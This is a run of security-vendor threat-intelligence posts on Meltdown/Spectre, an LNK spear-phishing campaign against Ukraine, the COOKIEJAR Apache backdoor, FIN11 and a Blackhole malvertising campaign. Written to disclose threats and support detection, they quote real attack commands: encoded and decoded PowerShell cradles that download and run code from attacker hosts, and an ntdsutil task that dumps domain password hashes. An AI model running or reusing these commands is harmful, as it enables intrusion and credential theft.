In this post, McAfee ATR offers a simple and concise overview of these issues, to separate fact from fiction, and to provide insight into McAfee’s capabilities and approach to detection and prevention.
There has been considerable speculation in the press and on social media about the impact of these two new techniques, including which processors and operating systems are affected.
The speculation has been based upon published changes to the Linux kernel.
McAfee ATR did not want to add to any confusion until we could provide our customers and the general public solid technical analysis.
A fully comprehensive writeup comes from Google Project Zero in this informative technical blog , which allowed ATR to validate our conclusions.
For more on McAfee product compatibility, see this business Knowledge Center article and this Consumer Support article.
The Techniques Meltdown and Spectre are new techniques that build upon previous work, such as “KASLR” and other papers that discuss practical side-channel attacks.
The current disclosures build upon such side-channel attacks through the innovative use of speculative execution.
Speculative execution has been a feature of processors for at least a decade.
Branch speculation is built on the Tomasulo algorithm .
In essence, when a branch in execution depends upon a runtime condition, modern processors make a “guess” to potentially save time.
This speculatively executed branch proceeds by employing a guess of the value of the condition upon which the branch must depend.
That guess is typically based upon the last step of the same branch’s previous execution.
The conditional value is cached for reuse in case that particular branch is taken again.
There is no loss of computing time if the condition arrives at a new value because the processor must in any event wait for the value’s computation.
Invalid speculative executions are thrown away.
The fact that invalid speculations are tossed is a key attribute exploited by Meltdown and Spectre.
Despite the clearing of invalid speculative execution results without affecting memory or CPU registers, data from the execution may be retained in the processor caches.
The retaining of invalid execution data is one of the properties of modern CPUs upon which Meltdown and Spectre depend.
More information about the techniques is available on the site https://meltdownattack.com .
Because these techniques can be applied (with variation) to most modern operating systems (Windows, Linux, Android, iOS, MacOS, FreeBSD, etc.
), you may ask, “How dangerous are these?”
“What steps should an organization take?”
and “How about individuals?”
The following risk analysis is based upon what McAfee currently understands about Meltdown and Spectre.
There is already considerable activity in the security research community on these techniques.
Sample code for two of the three variants was posted by the Graz University (in an appendix of the Spectre paper).
Erik Bosman has also tweeted that he has built an exploit , though this code is not yet public.
An earlier example of side-channel exploitation based upon memory caches was posted to GitHub in 2016 by one Meltdown-Spectre researcher Daniel Gruss.
Despite these details, as of this writing no known exploits have yet been seen in the wild.
McAfee ATR will continue to monitor researchers’ and attackers’ interest in these techniques and provide updates accordingly.
Given the attack surface of nearly every modern computing system and the relative ease of exploitation, it is highly likely that at least one of the aforementioned variants will be weaponized very quickly.
McAfee researchers quickly compiled the public exploit code for Spectre and confirmed its efficacy across a number of operating systems, including Windows, Linux, and MacOS.
Weaponization To assess the potential impact of any vulnerability or attack technique, we must first consider its value to attackers.
These exploits are uniquely attractive to malicious groups or persons because the attack surface is nearly unprecedented, the attack vector is relatively new, and the impacts (privilege escalation and leaks of highly sensitive memory) are detrimental.
The only naturally mitigating factor is that these exploits require local code execution.
A number of third parties have already identified JavaScript as an applicable delivery point, meaning both attacks could theoretically be run from inside a browser, effectively opening an avenue of remote delivery.
As always, JavaScript is a double-edged sword, offering a more user-friendly browsing experience, but also offering attackers an increased attack surface in the context of the browser’s executing scripted code.
Any technique that allows an attacker to cross virtual machine boundaries is of particular interest, because such a technique might allow an adversary to use a cloud virtual machine instance to attack other tenants of the cloud.
Spectre is designed to foster attacks across application boundaries and hence applies directly to this problem.
Thus, major cloud vendors have rushed to issue patches and software updates in advance of the public disclosure of these issues.
Additionally, both Meltdown and Spectre are exceptionally hard to detect as they do not leave forensic traces or halt program execution.
This makes post-infection investigations and attack attribution much more complex.
Recommendations Because we believe that Meltdown and Spectre may offer real-world adversaries significant value, we must consider how they can be used.
There is no remote vector to these techniques; an attacker must first deliver code to the victim.
To protect against malicious JavaScript, we always urge caution when browsing the Internet.
Allow scripting languages to execute only from trusted sites.
McAfee Windows Security Suite or McAfee Endpoint Security (ENS) can provide warnings if you visit a known dangerous site.
These McAfee products can also provide an alternate script-execution engine that prevents known malicious scripts from executing.
As operating systems are changed to mitigate Meltdown and Spectre, organizations and individuals should apply those updates as soon as possible.
Even though we have not seen any malware currently exploiting these techniques, McAfee is currently evaluating opportunities to provide detection within the scope of our products; we expect most solutions to lie within processor and operating system updates.
Based on published proofs of concept, we have provided some limited detection under the names OSX/Spectre, Linux/Spectre, and Trojan-Spectre.
Microsoft has released an out-of-cycle patch because of this disclosure: https://support.microsoft.com/en-us/help/4056892/windows-10-update-kb4056892 .
Due to the nature of any patch or update, we suggest first applying manual updates on noncritical systems, to ensure compatibility with software that involves the potential use of low-level operating system features.
McAfee teams are working to ensure compatibility with released patches where applicable.
While the world wonders about the potential impact of today’s critical disclosures, we also see a positive message.
This was another major security flaw discovered and communicated by the information security community, as opposed to the discovery or leak of “in the wild” attacks.
Will this disclosure have negative aspects?
Most likely yes, but the overall effect is more global attention to software and hardware security, and a head start for the good guys on developing more robust systems and architectures for secure computing.
In early 2019, FireEye Threat Intelligence identified a spear phishing email targeting government entities in Ukraine.
The spear phishing email included a malicious LNK file with PowerShell script to download the second-stage payload from the command and control (C&C) server.
The email was received by military departments in Ukraine and included lure content related to the sale of demining machines.
This latest activity is a continuation of spear phishing that targeted the Ukrainian Government as early as 2014.
The email is linked to activity that previously targeted the Ukrainian Government with RATVERMIN.
Infrastructure analysis indicates the actors behind the intrusion activity may be associated with the so-called Luhansk People's Republic (LPR).
The spear phishing email, sent on Jan. 22, 2019, used the subject \"SPEC-20T-MK2-000-ISS-4.10-09-2018-STANDARD,\" and the sender was forged as Armtrac, a defense manufacturer in the United Kingdom (Figure 1).
Figure 1:
The spear phishing email
The email included an attachment with the filename \"Armtrac-Commercial.7z\" (MD5: 982565e80981ce13c48e0147fb271fe5).
This 7z package contained \"Armtrac-Commercial.zip\" (MD5: e92d01d9b1a783a23477e182914b2454) with two benign Armtrac documents and one malicious LNK file with a substituted icon (Figure 2).
Figure 2: LNK with substituted icon Armtrac-20T-with-Equipment-35078.pdf
(MD5: 0d6a46eb0d0148aafb34e287fcafa68f) is a benign document from the official Armtrac website.
SPEC-20T-MK2-000-ISS-4.10-09-2018-STANDARD.pdf (MD5: bace12f3be3d825c6339247f4bd73115) is a benign document from the official Armtrac website.
SPEC-10T-MK2-000-ISS-4.10-09-2018-STANDARD.pdf.lnk (MD5: ec0fb9d17ec77ad05f9a69879327e2f9) is a malicious LNK file that executes a PowerShell script.
Interestingly, while the LNK file used a forged extension to impersonate a PDF document, the icon was replaced with a Microsoft Word document icon.
Sponsor Potentially Active Since 2014 Compilation times indicate that this actor, who focused primarily on Ukraine, may have been active since at least 2014.
Their activity was first reported by FireEye Threat Intelligence in early 2018.
They gradually increased in sophistication and leveraged both custom and open-source malware.
The 2018 campaign used standalone EXE or self-extracting RAR (SFX) files to infect victims.
However, their recent activity showed increased sophistication by leveraging malicious LNK files.
The group used open-source QUASARRAT and the RATVERMIN malware, which we have not seen used by any other groups.
Domain resolutions and malware compile times suggest this group may have been active as early as 2014.
Filenames and malware distribution data suggest the group is primarily focused on targeting Ukrainian entities.
Association With So-Called Luhansk People's Republic FireEye Threat Intelligence analysis uncovered several indications that the actors behind this activity have ties to the breakaway so-called Luhansk People's Republic (LPR).
Registrant Overlap with Official So-Called LPR Website Infrastructure analysis suggests these operators are linked to the so-called LPR and the persona \"re2a1er1.\
" The domain used as C&C by the previous LNK file (sinoptik[.
]website) was registered under the email \"re2a1er1@yandex.ru.\" The email address also registered the following domains.
Domains Registered by re2a1er1@yandex.ru Possible Mimicked Domains Description
Possible Targeted Country 24ua[.
]website
24tv.ua
A large news portal in Ukraine UA censor[.
]website censor.net.ua
A large news portal in Ukraine UA fakty[.
]website fakty.ua
A large news portal in Ukraine UA groysman[.
]host Volodymyr Borysovych Groysman V. B. Groysman is a politician who has been the Prime Minister of Ukraine since April 14, 2016 UA gordon.co[.
]ua gordonua.com
A large mail service in Ukraine UA mailukr[.
]net ukr.net A large news portal in Ukraine UA me.co[.
]ua me.gov.ua Ukraine's Ministry of Economic Development and Trade UA novaposhta[.
]website novaposhta.ua
Ukraine's largest logistics services company UA olx[.
]website olx.ua Ukraine's largest online ad platform UA onlineua[.
]website online.ua
A large news portal in Ukraine UA rst[.
]website rst.ua One of the largest car sales websites in Ukraine UA satv[.
]pw Unknown TV-related UA sinoptik[.
]website sinoptik.ua
The largest weather website in Ukraine UA spectator[.
]website spectator.co.uk
A large news portal in the UK UK tv.co[.
]ua
Unknown TV-related UA uatoday[.
]website uatoday.news
A large news portal in Ukraine UA ukrposhta[.
]website ukrposhta.ua State Post of Ukraine UA unian[.
]pw unian.net
A large news portal in Ukraine Unknown vj2[.
]pw Unknown Unknown UA xn--90adzbis.xn--c1avg
Not Applicable Punycode of Ministry of State Security of the So-Called Luhansk People’s Republic’s website UA z1k[.
]pw zik.ua
A large news portal in Ukraine UA milnews[.
]info Unknown Military news UA Table 1: Related infrastructure One of the domains, \"xn--90adzbis.xn--c1avg\" is a Punycode of \"мгблнр.орг,\" which is the official website of the Ministry of State Security of the So-Called LPR (Figure 3).
Ukraine legislation describes so-called LPR as \"temporarily occupied territory\" and its government as an \"occupying administration of the Russian Federation.\" Figure 3: Official website of the Ministry of State Security of the So-Called Luhansk People's Republic (МГБ ЛНР - Министерство Государственной Безопасности Луганской Народной Республики)
Conclusions This actor has likely been active since at least 2014, and its continuous targeting of the Ukrainian Government suggests a cyber espionage motivation.
This is supported by the ties to the so-called LPR's security service.
While more evidence is needed for definitive attribution, this activity showcases the accessibility of competent cyber espionage capabilities, even to sub-state actors.
While this specific group is primarily a threat to Ukraine, nascent threats to Ukraine have previously become international concerns and bear monitoring.
Technical Annex The LNK file (SPEC-10T-MK2-000-ISS-4.10-09-2018-STANDARD.pdf.lnk [MD5: ec0fb9d17ec77ad05f9a69879327e2f9]) included the following script (Figure 4) to execute a PowerShell script with Base64-encoded script: vbscript:Execute(\"CreateObject(\"\"Wscript.
Shell\"\").Run \"\"powershell -e \"\"\"\"aQBlAHgAKABpAHcAcgAgAC0AdQBzAGUAYgAgAGgAdAB0AHAAOgAvAC8AcwBpAG4Ab wBwAH QAaQBrAC4AdwBlAGIAcwBpAHQAZQAvAEUAdQBjAHoAUwBjACkAIAA=\"\"\"\"\"\", 0 : window.close\") Figure 4:
LNK file script The following command (Figure 5) was received after decoding the Base64-encoded string: vbscript:Execute(\"CreateObject(\"\"Wscript.
Shell\"\").Run \"\"powershell -e iex(iwr -useb
http://sinoptik[.
]website/EuczSc)\"\", 0 : window.close\") Figure 5: LNK file command The PowerShell script sends a request to URL \"http://sinoptik[.
]website/EuczSc.\"
Unfortunately, the server was unreachable during analysis.
Network Infrastructure Linked to Attackers The passive DNS records of the C&C domain \"sinoptik[.
]website\" included the following IPs: Host/Domain Name First Seen IP sinoptik[.
]website 2018-09-17 78.140.167.89 sinoptik[.
]website 2018-06-08 78.140.164.221 sinoptik[.
]website 2018-03-16 185.125.46.158 www.sinoptik[.
]website 2019-01-17 78.140.167.89 Table 2:
Network infrastructure linked to attackers Domains previously connected to RATVERMIN (aka VERMIN) and QUASARRAT (aka QUASAR) also resolved to IP \"185.125.46.158\" and include the following: Malware MD5 C&C Malware Family 47161360b84388d1c254eb68ad3d6dfa akamainet022[.
]info QUASARRAT 242f0ab53ac5d194af091296517ec10a notifymail[.
]ru RATVERMIN 07633a79d28bb8b4ef8a6283b881be0e
akamainet066[.
]info QUASARRAT 5feae6cb9915c6378c4bb68740557d0a akamainet024[.
]info RATVERMIN dc0ab74129a4be18d823b71a54b0cab0 akamaicdn[.
]ru QUASARRAT bbcce9c91489eef00b48841015bb36c1 cdnakamai[.
]ru QUASARRAT Table 3:
Additional malware linked to the attackers RATVERMIN is a .NET backdoor that FireEye Threat Intelligence started tracking in March 2018.
It has also been reported in public reports and blog posts .
Operators Highly Aggressive, Proactive The actor is highly interactive with its tools and has responded within a couple of hours of receiving a new victim, demonstrating its ability to react quickly.
An example of this hands-on style of operation occurred during live malware analysis.
RATVERMIN operators observed that the malware was running from an unintended target at approximately 1700 GMT (12:00 PM Eastern Standard Time on a weekday) and promptly executed the publicly available Hidden Tear ransomware (saved to disk as hell0.exe, MD5: 8ff9bf73e23ce2c31e65874b34c54eac).
The ransomware process was killed before it could execute successfully.
If the Hidden Tear continued execution, a file would have been left on the desktop with the following message: \"Files have been encrypted with hidden tear.
Send me some bitcoins or kebab.
And I also hate night clubs, desserts, being drunk.\" When live analysis resumed, the threat group behind the attack started deleting all the analysis tools on the machine.
Upon resetting the machine and executing the malware again, this time with a text file open asking why they sent ransomware, the threat group responded by sending the following message via RATVERMIN's C&C domain (Figure 6): C&C to Victim HTTP/1.1 200 OK Content-Length: 5203
Content-Type: multipart/related; type=\"application/
xop+xml\";start=\"<http://tempuri[.
]org/0>\";boundary=\"uuid:67761605- 5c90-47ac-bcd8- 718a09548d60+id=14\";start-info=\"application/soap+xml\" Server: Microsoft-HTTPAPI/2.0 MIME-Version: 1.0 Date: Tue, 20 Mar 2018 19:01:26 GMT --uuid:67761605-5c90-47ac-bcd8-718a09548d60+id=14 Content-ID: <http://tempuri[.
]org/0> Content-Transfer-Encoding: 8bit Content-Type: application/xop+xml;charset=utf-8;type=\"application/soap+xml\" <TRUNCATED> Mad ?
Figure 6: RATVERMIN's C&C domain message Related Samples Further research uncovered additional LNK files with PowerShell scripts that connect to the same C&C server.
Filename: Висновки.
S021000262_1901141812000.
Scancopy_0003.
HP LaserJet Enterprise 700 M775dn(CC522A).docx.lnk (Ukrainian translation: Conclusion) MD5: fe198e90813c5ee1cfd95edce5241e25 Description: LNK file also has the substituted Microsoft Word document icon and sends a request to the same C&C domain C&C: http://sinoptik[.
]website/OxslV6 PowerShell activity (Command Line Arguments): vbscript:Execute(\"CreateObject(\"\"Wscript.
Shell\"\").Run \"\"powershell.exe -c iex(iwr -useb http://sinoptik[.
]website/OxslV6)\"\", 0 : window.close\") Figure 7:
Additional LNK files with PowerShell scripts Filename: КМУ база даних.zip (Ukrainian translation: Cabinet of Ministers of Ukraine database)
MD5: a5300dc3e19f0f0b919de5cda4aeb71c Description: ZIP archive containing a malicious LNK file Filename: Додаток.pdf (Ukrainian translation: Addition) MD5: a40fb835a54925aea12ffaa0d76f4ca7 Description: Benign decoy document Filename: КМУ_база_даних_органи_упр,_СГ_КМУ.rtf.lnk MD5: 4b8aac0649c3a846c24f93dc670bb1ef Description: Malicious LNK that executes a PowerShell script C&C: http://cdn1186[.
]site/zG4roJ powershell.exe -NoP -NonI -W hidden -Com \"$cx=New-Object -ComObject MsXml2.ServerXmlHttp;$cx.
Open('GET','http://cdn1186[.
]site/zG4roJ',$False);$cx.
Send(); $cx.
ResponseText|.
( ''.Remove.
ToString()[14,50,27]-Join'')\" !
%SystemRoot%\\system32\\shell32.dll Figure 8:
Additional LNK files with PowerShell scripts FireEye Detection FireEye detection names for the indicators in the attack include the following: FireEye Endpoint Security INVOKE CRADLECRAFTER (UTILITY) MALICIOUS SCRIPT CONTENT
A (METHODOLOGY) MSHTA.EXE SUSPICIOUS COMMAND LINE SCRIPTING (METHODOLOGY) OFFICE CLIENT SUSPICIOUS CHILD PROCESS
(METHODOLOGY)
PERSISTENT MSHTA.EXE PROCESS EXECUTION (METHODOLOGY)
POWERSHELL.EXE EXECUTION ARGUMENT OBFUSCATION (METHODOLOGY)
POWERSHELL.EXE IEX ENCODED COMMAND (METHODOLOGY) SUSPICIOUS POWERSHELL USAGE (METHODOLOGY)
FireEye Network Security 86300142_Backdoor.
Win.
QUASARRAT 86300140_Backdoor.
Win.
QUASARRAT 86300141_Backdoor.
Win.
QUASARRAT Malware.archive FE_Backdoor_MSIL_RATVERMIN_1 33340392_Backdoor.
Win.
RATVERMIN 33340391_Backdoor.
Win.
RATVERMIN FireEye Email Security FE_MSIL_Crypter FE_Backdoor_MSIL_RATVERMIN_1 Malware.
Binary.lnk Malware.
Binary.exe Malware.archive Backdoor.
Win.
QUASARRAT Backdoor.
Win.
RATVERMIN CustomPolicy.MVX.exe CustomPolicy.
MVX.65003.ExecutableDeliveredByEmail Summary of Indicators Malicious package and LNK files 982565e80981ce13c48e0147fb271fe5 e92d01d9b1a783a23477e182914b2454 ec0fb9d17ec77ad05f9a69879327e2f9 fe198e90813c5ee1cfd95edce5241e25 a5300dc3e19f0f0b919de5cda4aeb71c 4b8aac0649c3a846c24f93dc670bb1ef Related File 0d6a46eb0d0148aafb34e287fcafa68f (decoy document) bace12f3be3d825c6339247f4bd73115 (decoy document) a40fb835a54925aea12ffaa0d76f4ca7 (decoy document)
Quasar RAT Samples 50b1f0391995a0ce5c2d937e880b93ee 47161360b84388d1c254eb68ad3d6dfa 07633a79d28bb8b4ef8a6283b881be0e dc0ab74129a4be18d823b71a54b0cab0 bbcce9c91489eef00b48841015bb36c1 3ddc543facdc43dc5b1bdfa110fcffa3 5b5060ebb405140f87a1bb65e06c9e29 80b3d1c12fb6aaedc59ce4323b0850fe d2c6e6b0fbe37685ddb865cf6b523d8c dc0ab74129a4be18d823b71a54b0cab0 dca799ab332b1d6b599d909e17d2574c RATVERMIN 242f0ab53ac5d194af091296517ec10a 5feae6cb9915c6378c4bb68740557d0a 5e974179f8ef661a64d8351e6df53104 0b85887358fb335ad0dd7ccbc2d64bb4 9f88187d774cc9eaf89dc65479c4302d
632d08020499a6b5ee4852ecadc79f2e
47cfac75d2158bf513bcd1ed5e3dd58c 8d8a84790c774adf4c677d2238999eb5 860b8735995df9e2de2126d3b8978dbf 987826a19f7789912015bb2e9297f38b a012aa7f0863afbb7947b47bbaba642e a6ecfb897ca270dd3516992386349123 7e2f581f61b9c7c71518fea601d3eeb3 b5a6aef6286dd4222c74257d2f44c4a5 0f34508772ac35b9ca8120173c14d5f0 (RATVERMIN's keylogger) 86d2493a14376fbc007a55295ef93500 (RATVERMIN's encryption tool)
04f1aa35525a44dcaf51d8790d1ca8a0 (RATVERMIN helper functions) 634d2a8181d08d5233ca696bb5a9070d (RATVERMIN helper functions) d20ec4fdfc7bbf5356b0646e855eb250 (RATVERMIN helper functions) 5ba785aeb20218ec89175f8aaf2e5809 (RATVERMIN helper functions) b2cf610ba67edabb62ef956b5e177d3a (RATVERMIN helper functions)
7e30836458eaad48bf57dc1decc27d09 (RATVERMIN helper functions) df3e16f200eceeade184d6310a24c3f4 (RATVERMIN crypt functions) 86d2493a14376fbc007a55295ef93500 (RATVERMIN crypt functions) d72448fd432f945bbccc39633757f254 (RATVERMIN task scheduler tool) e8e954e4b01e93f10cefd57fce76de25 (RATVERMIN task scheduler tool)
Hidden Tear Ransomware 8ff9bf73e23ce2c31e65874b34c54eac Malicious Infrastructure akamainet022[.
]info akamainet066[.
]info akamainet024[.
]info akamainet023[.
]info akamainet066[.
]info akamainet021[.
]info www.akamainet066[.
]info www.akamainet023[.
]info www.akamainet022[.
]info www.akamainet021[.
]info akamaicdn[.
]ru cdnakamai[.
]ru mailukr[.
]net notifymail[.
]ru www.notifymail[.
]ru tech-adobe.dyndns[.
]biz sinoptik[.
]website cdn1186[.
]site news24ua[.
]info http://sinoptik[.
]website/EuczSc http://sinoptik[.
]website/OxslV6 http://cdn1186[.
]site/zG4roJ 206.54.179.196 195.78.105.23 185.125.46.24 185.158.153.222 188.227.16.73 212.116.121.46 185.125.46.158 94.158.46.251 188.227.75.189 Correlated Infrastructure 78.140.167.89 (pdns)
1ua[.
]eu (pdns) 24ua[.
]website (pdns, registered by re2a1er1@yandex.ru) cdn1214[.
]site (pdns) censor[.
]website (pdns, registered by re2a1er1@yandex.ru) fakty[.
]website (pdns, registered by re2a1er1@yandex.ru) gismeteo[.
]website (pdns, registered by re2a1er1@yandex.ru) lmeta[.
]eu (pdns) me.co[.
]ua (pdns, registered by re2a1er1@yandex.ru) milnews[.
]info (pdns) mj2[.
]pw (pdns, registered by re2a1er1@yandex.ru) novaposhta[.
]website (pdns, registered by re2a1er1@yandex.ru) olx[.
]website (pdns, registered by re2a1er1@yandex.ru) www.olx[.
]website (pdns, registered by re2a1er1@yandex.ru) onlineua[.
]website (pdns, registered by re2a1er1@yandex.ru) r2a[.
]pw (pdns, registered by re2a1er1@yandex.ru) rarnbier[.
]ru (pdns) rbc[.
]website (pdns)
rst[.
]website (pdns, registered by re2a1er1@yandex.ru) satv[.
]pw (pdns, registered by re2a1er1@yandex.ru) slaviasoft[.
]website (pdns, registered by re2a1er1@yandex.ru) tv.co[.
]ua (pdns, registered by re2a1er1@yandex.ru) uatoday[.
]website (pdns, registered by re2a1er1@yandex.ru) ukrnews[.
]website (pdns, registered by re2a1er1@yandex.ru) www.ukrnews[.
]website (pdns, registered by re2a1er1@yandex.ru) ukrposhta[.
]website (pdns, registered by re2a1er1@yandex.ru) unian[.
]pw (pdns) vj2[.
]pw (pdns, registered by re2a1er1@yandex.ru) windowsupdate.kiev[.
]ua (pdns) xn--90adzbis.xn--c1avg (registered by re2a1er1@yandex.ru) z1k[.
]pw (pdns, registered by re2a1er1@yandex.ru) 188.164.251.61 (pdns) 188.227.17.68 (pdns)
206.54.179.160 (pdns of many malicious domains) 208.69.116.100 (pdns) 208.69.116.144 (pdns)
5.200.53.181 (pdns)
78.140.162.22 (pdns) 78.140.167.137 (pdns) 88.85.86.229
(pdns) 88.85.95.72 (pdns) 94.158.34.2
(pdns) 94.158.47.228
(pdns)
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During a recent investigation at a telecommunications company led by Mandiant Managed Defense , our team was tasked with rapidly identifying systems that had been accessed by a threat actor using legitimate, but compromised domain credentials.
This sometimes-challenging task was made simple because the customer had enabled the Logon Tracker module within their FireEye Endpoint Security product.
Logon Tracker is an Endpoint Security Innovation Architecture module designed to simplify the investigation of lateral movement within Windows enterprise environments.
Logon Tracker improves the efficiency of investigating lateral movement by aggregating historical logon activity and provides a mechanism to monitor for new activity.
This data is presented in a user interface designed for analyzing investigative leads (e.g., a compromised account) and hunting for suspicious activity (e.g., RDP activity by privileged accounts).
Logon Tracker also provides a graph interface that enables the identification of irregular and unique logons with the option to filter on hostnames, usernames, protocol, time of day, process name, privilege level, status (success/failure), and more.
Figure 1:
Logon Tracker GUI interface A critical component of a successful incident response is the scoping effort to identify systems that may have been accessed by the adversary.
Windows Event Logs offer a commonly utilized method of identifying an adversary’s lateral movement between Windows systems.
However, as with all log sources, Windows Event Logs are subject to data retention limits on endpoints, making the aggregated logon activity provided by Logon Tracker a critical source of evidence for incident response.
Logon Tracker’s graphical display along with the raw logon events allowed Mandiant Managed Defense to quickly identify 10 potentially compromised hosts and begin to create a timeline of adversary activity.
Managed Defense also leveraged Logon Tracker to monitor for additional suspicious logons and adversary activity throughout the incident response.
Searching for logons (both failed and successful) from known compromised accounts and activity originating from compromised systems allowed our investigators to quickly determine which systems should be prioritized for analysis.
Additionally, Logon Tracker provides investigators the ability to: Filter logon data for activity originating from user-provided IP ranges Search for logon data for activity by specific privileged accounts, including “Domain Administrators” and “Enterprise Administrators” Search for any privileged logon using the “Privileged” logon type Provide alerting and definition of custom rules (coming soon!)
Case Background In mid-July, the Managed Defense Security Operations Center identified potential credential harvesting activity on a Windows server.
The activity included the creation of a scheduled task configured to execute the built-in Windows utility, NTDSUTIL to take a snapshot of the active NTDS.dit file and save it locally to a text file as shown in Figure 2: \"schtasks  /s
<redacted> /create /tn ntbackup /tr
\\\"ntdsutil snapshot \\\\\\\"activate instance ntds\\\\\\\" create quit quit >c:\\\\Users\\\\admin\\\\AppData\\\\Local\\\\Temp\\\\ntds.log\\\" /sc
once /st 05:38:00 /sd
07-12-2020 /f Figure 2: Scheduled task creation for NTDS.DIT harvesting The NTDS.dit file is a database that contains Active Directory data such as user objects, group memberships, groups, and—more useful to an adversary—password hashes for all users in the domain.
Leveraging Logon Tracker and simple timeline analysis, Managed Defense quickly determined an adversary had accessed this system to create a scheduled task from a system with a hostname that did not match the naming convention used within the environment.
An anonymized example of Logon Tracker data is shown in Figure 3: Figure 3:
Logon Tracker data Armed with the suspicious hostname and potentially compromised username, Managed Defense then used Logon Tracker’s search functionality to determine the scope of systems potentially accessed by the adversary.
The resulting investigation revealed that an Internet-facing Customer Relationship Management (CRM) application hosted on a Linux Apache web server had been compromised.
Multiple web shells had been placed within web-accessible folders, allowing an adversary to execute arbitrary commands on the server.
The adversary leveraged one of these web shells to install a malicious Apache module and restart Apache for the module to take effect.
Mandiant has classified this module as COOKIEJAR (see the Malware Appendix at the end of the post for more details).
The COOKIEJAR module enabled the adversary to proxy through the compromised server to any arbitrary IP/port pair within the customer’s internal network, see Figure 4.
Figure 4: PCAP data Using this proxied access to the customer’s network, the adversary leveraged previously compromised domain credentials to connect to multiple Windows servers using SMB.
Due to the use of the proxy to connect into the customer’s network, the hostname of the adversary’s workstation being used to conduct the attack was also passed into the logon events.
This type of activity occurs due to the direct connection to the customers network and is similar to being on the same LAN.
The non-standard hostname and non-standard customer naming convention used by the adversary help make scoping an easy task.
Additionally, Managed Defense was able to leverage network detection to alert on the authentication attempts and activities of the adversary’s host.
Malware Appendix
During the course of the response, Mandiant identified a customized malicious Apache plugin capable of intercepting HTTP requests to an Apache HTTP server.
The new malware family COOKIEJAR was created to aid in clustering and tracking this activity.
The COOKIEJAR module installs a pre-connection hook that only runs if the client IP address matches a specified hardcoded adversary-controlled IP address.
It listens for SSL/TLS connections on the port specified by the Apache server, using a certificate and private key loaded from /tmp/cacert.pem and /tmp/privkey.pem respectively.
If the client IP address matches the hardcoded IP address (Figure 4), the backdoor accepts three commands based on the start of the URL: /phpconf_t/:
Simply writes <html><h1>accepted.</h1></html> as the response.
Likely used to test if the server is infected with the malware.
/phpconf_s/
: Executes commands on the server.
Any communications to and from the system are forwarded to a shell, and are AES-256-ECB encrypted and then Base58 encoded.
/phpconf_p/: Decode the second encoded string provided as a hostname/port (the first is ignored), using Base58 and AES-256-ECB (same key as before).
The server will connect to the remote host and act as a proxy for the command and control (C2).
Data to and from the C2 is encoded using Base58 and AES-256-ECB.
Data to and from the remote host is not encoded.
Figure 5:
Hardcoded configuration data within COOKIEJAR Detecting the Techniques Product Signature Network Security/MVX APT.Backdoor.
Linux64_COOKIEJAR_1 APT.Backdoor.
Linux_COOKIEJAR_1 APT.Backdoor.
Linux.
COOKIEJAR Acknowledgements Chris Gardner, Malware Analyst Fred House, Director, Engineering More information on FireEye Endpoint Security's Logon Tracker Module including the module download and user manual are available in the FireEye Marketplace .
Learn more about Mandiant Managed Defense , and catch an on-demand recap on this and the Top 5 Managed Defense attacks this year.
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Mandiant Threat Intelligence recently promoted a threat cluster to a named FIN (or financially motivated) threat group for the first time since 2017.
We have detailed FIN11's various tactics, techniques and procedures in a report that is available now by signing up for Mandiant Advantage Free .
In some ways, FIN11 is reminiscent of APT1; they are notable not for their sophistication, but for their sheer volume of activity.
There are significant gaps in FIN11’s phishing operations, but when active, the group conducts up to five high-volume campaigns a week.
While many financially motivated threat groups are short lived, FIN11 has been conducting these widespread phishing campaigns since at least 2016.
From 2017 through 2018, the threat group primarily targeted organizations in the financial, retail, and hospitality sectors.
However, in 2019 FIN11’s targeting expanded to include a diverse set of sectors and geographic regions.
At this point, it would be difficult to name a client that FIN11 hasn’t targeted.
Mandiant has also responded to numerous FIN11 intrusions, but we’ve only observed the group successfully monetize access in few instances.
This could suggest that the actors cast a wide net during their phishing operations, then choose which victims to further exploit based on characteristics such as sector, geolocation or perceived security posture.
Recently, FIN11 has deployed CLOP ransomware and threatened to publish exfiltrated data to pressure victims into paying ransom demands.
The group’s shifting monetization methods—from point-of-sale (POS) malware in 2018, to ransomware in 2019, and hybrid extortion in 2020—is part of a larger trend in which criminal actors have increasingly focused on post-compromise ransomware deployment and data theft extortion.
Notably, FIN11 includes a subset of the activity security researchers call TA505 , but we do not attribute TA505’s early operations to FIN11 and caution against using the names interchangeably.
Attribution of both historic TA505 activity and more recent FIN11 activity is complicated by the actors’ use of criminal service providers.
Like most financially motivated actors, FIN11 doesn’t operate in a vacuum.
We believe that the group has used services that provide anonymous domain registration, bulletproof hosting, code signing certificates, and private or semi-private malware.
Outsourcing work to these criminal service providers likely enables FIN11 to increase the scale and sophistication of their operations.
To learn more about FIN11’s evolving delivery tactics, use of services, post-compromise TTPs, and monetization methods, register for Mandiant Advantage Free .
The full FIN11 report is also available through our FireEye Intelligence Portal (FIP) .
Then for even more information, register for our exclusive webinar on Oct. 29 where Mandiant threat intelligence experts will take a deeper dive into FIN11, including its origins, tactics, and potential for future activity.
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Last week got us up close and personal with Darkleech and Blackhole with our external careers web site.
The fun didn’t end there, this week we saw a tidal wave of Darkleech activity linked to a large-scale malvertising campaign identified by the following URL:
hXXp://delivery[.]globalcdnnode[.
]com/7f01baa99716452bda5bba0572c58be9/afr-zone.php
Again Darkleech was up to its tricks, injecting URLs and sending victims to a landing page belonging to the Blackhole Exploit Kit, one of the most popular and effective exploit kits available today.
Blackhole wreaks havoc on computers by exploiting vulnerabilities in client applications like IE, Java and Adobe, computers that are vulnerable to exploits launched by Blackhole are likely to become infected with one of several flavors of malware including ransomware , Zeus/Zbot variants and clickfraud trojans like ZeroAccess.
We started logging hits at 21:31:00 UTC on Sunday 09/22/2013, the campaign has been ongoing, peaking Monday and tapered down through out the week.
During most of the campaign’s run, delivery[.]globalcdnnode[.
]com appeared to have gone dark, no longer serving the exploit kit’s landing page as expected and then stopped resolving altogether, yet tons of requests kept flowing.
This left some scratching their heads as to whether the noise was a real threat.
Indeed, it was a real threat, as Blackhole showed up to the party a couple of days later; this was confirmed by actually witnessing a system get attacked on a subsequent visit to the URL.
Figure 1.
– Session demonstrating exploit via IE browser and Java.
The server returned the (obfuscated) Blackhole Landing page; no 404 this time.
Figure 2 – request and response to to delivery[.]globalcdnnode[.
]com.
The next stage was to load a new URL for the malicious jar file.
At this point, the unpatched Windows XP system running vulnerable Java quickly succumbed to CVE-2013-0422 .
Figure 3 – Packet capture showing JAR file being downloaded.
Figure 4.
– Some of the Java class files visible in the downloaded Jar.
Even though our system was exploited and the browser was left in a hung state, it did not receive the payload.
Given the sporadic availability during the week of both the host and exploit kit’s landing page, it’s possible the system is or was undergoing further setup and this is the prelude to yet another large-scale campaign.
We can’t say for sure
